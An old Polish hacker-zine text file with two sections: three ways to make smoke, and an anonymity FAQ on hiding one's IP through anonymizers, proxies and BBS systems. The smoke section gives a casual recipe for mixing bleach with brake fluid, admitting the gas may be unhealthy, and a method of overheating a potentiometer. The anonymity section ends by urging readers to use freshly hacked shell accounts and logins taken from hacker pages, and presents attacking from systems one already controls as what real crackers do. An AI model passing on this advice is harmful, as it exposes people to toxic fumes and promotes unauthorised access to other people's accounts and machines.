  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  99.4    Zadyma ruleZ

3 - sposoby na zrobienie dymu

Pierwszy chemiczny:

   CLOROX      + PLYN HAMOLCOWY od Porshe 126p
(lub podobny)  + nie koniecznie od Porshe 126p

Nalewasz na duza powiezchnie Plyn hamulcowy i energicznie dolewasz CLOROXu i
powstaje duuuzy dymek :) nie koniecznie zdrowego gazu :)

Drugi fizyczny:

Suchy lod + Mlotek + wiaderko + H20

Kroszysz suchy lod na jak najdrobniejsze kawalki i wpieprzasz calosc do wody,
efekt piorunujacy :)

Trzeci elektryczny:

Potrzeba zrodlo zasilania 9V + potencjometr 10 kOhm

Potencjometr:
 ___
/   \
| 0 |
-----
| | |
A B C


A,B,C (nozki).

Do nozek A i B podlaczasz 9V i pokretlem 0 ustawiasz powoli w lewo az do momentu
gdy pojawi sie dymek. Dym jest maly ale smierdzi jak cholera.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  99.5    Anonimowosc


Hi,
 ten FAQ jest poswiecony wszystkim newcomerom ktorzy jeszcze nie wiedza ile
rozdaja o sobie wiadomosci, gdy bez zadnych zabezpieczen blakaja sie po
internecie...
Wybralem to jako pierwszy temat, poniewaz kazdy newbie powinien sie wpierw o to
zatroszczyc zanim rozpocznie penetracje sieci....
A wiec na dobry poczatek idzcie na jakas "check-in-page" np. klasyczny:
http://privacy.net/anonymizer    albo tez:
http://grc.com/x/ne.dll?bh0bkyd2   ta strona testuje jeszcze co nieco wiecej,
ale zobaczcie sami, co z was wysysaja, gdy sie w zaden sposob nie
zabezpieczycie...
 Najwazniejsze co powinniscie zataic albo sfalszowac , to wasz
aktualny IP-nummer. Ten numer jest przekazywany przy kazdej mozliwosci
(np. @-mail, IRC, WWW-Boards, ksiegi gosci, ICQ, ..., itd ) Jesli za bardzo
namieszaliscie i ktos wylowi wasz IP, to moze np. namierzyc za pomoca jakiegos
WHOIS waszego providera (a wiec i was), albo jesli sie pospieszy uzyc takich
Proggys jak NeoTrace czy tez VisualRoute, albo jeszcze tysiace innych
nieprzyjemnych rzeczy .... [ ale to bedzie kiedys inny temat ;-) ... ] Wlasny
IP jest z reguly dynamiczny => przy kazdym polaczeniu dostajecie nowy i inny
host ( ale to wam duzo nie pomoze ...) Jest pare mozliwosci, lepsze i gorsze i
w zaleznosci co macie zamiar zrobic ;-), zeby sie zabezpieczyc. Tutaj pare z
nich:

1.) Najprostsze jest uzywanie tzw. Anonymizer&Co.  np.:
http//:www.anonymizer.com  albo:
http//:anonsurf.de  itp.
Funkcjonowanie takich stron, to filtrowanie waszych danych przez jakiegos
proxy-serwera, ale takie surfowanie jest uciazliwe i denerwujace (np. z powodu
ciaglych reklam itp.),

2.) Inna prosta mozliwosc, to konfiguracja wlasnego browsera na jakiegos
anonimowego proxy-serwera. [Tutaj moze male wyjasnienie co to proxy...
Proxy-Serwer (proxy=przedstawiciel) jest wlaczony (jako hardware i/albo
software) miedzy Wami (Client) i wybranym host-serwerem gdzies w sieci i
przedstawia temu serwerowi swoja IP zamiast waszej]. Aby skonfigurowac teraz
waszego browsera musicie podac tylko w opcjach ADRES:PORT danego proxy
(najlepiej od razu na wszystkie protokoly). Przykladowa liste aktualnych
serwerow i ich porty mozecie znalezc np. na:
http://www.cyberarmy.com/lists/proxy/ , itp.

3.Mozna tez sobie samemu zalatwic jakis proxy-tool albo script. Rozgladnijcie
sie np. pod:
http://proxys4all.cgi.net . Aktualnie jest modny Junkbuster jako tool (blizsze
informacje pod www.junkbuster.com). Takie tools/scripts sa ale ciezkie do
skonfigurowania dla newbies, za to ich mozliwosci sa wieksze (np. tlumienie
reklam, itd), poniewaz mozna go sobie przystosowac dla wlasnych potrzeb.

4. Inna dobra metoda to uzycie tzw. BBS-systemow (Bulletin-Board-Systeme) przez
telnet. Dalsze infos np. pod:
http://www.thedirectory.org/diamond/door.htm , a liste z systemami znajdziecie
pod:
http://www.thedirectory.org/telnet

5. Jesli macie zamiar wziasc sie za jakas grubsza sprawe, to "zalatwcie" sobie
kilka Shell-Accounts i "korzystajcie z ich dobrodziejstw" [ np. loops ;-),
itd....] Jesli ciezko wam zalatwic sobie samemu konta, to znajdziecie w sieci
tez wiele oferentow, gdzie dostaniecie darmowe shelle (sa ale bardzo
monitorowane), albo szukajcie tez hackerspages, gdzie mozna znalezc swiezo
shaczone accounts+logins i je wtedy "wspoluzytkowac" ;-)  , a wiec rozejrzyjcie
sie w sieci , bo sie naprawde oplaca !!!!

6.Prawdziwi crackerzy uzywaja systemow, nad ktorymi maja juz calkowita wladze,
jako platforme dla swoich atakow na inne systemy, ale dla normalnego (legalnego)
surfowania wystarcza wam na poczatek mozliwosci z pkt.1-3.

---- EOF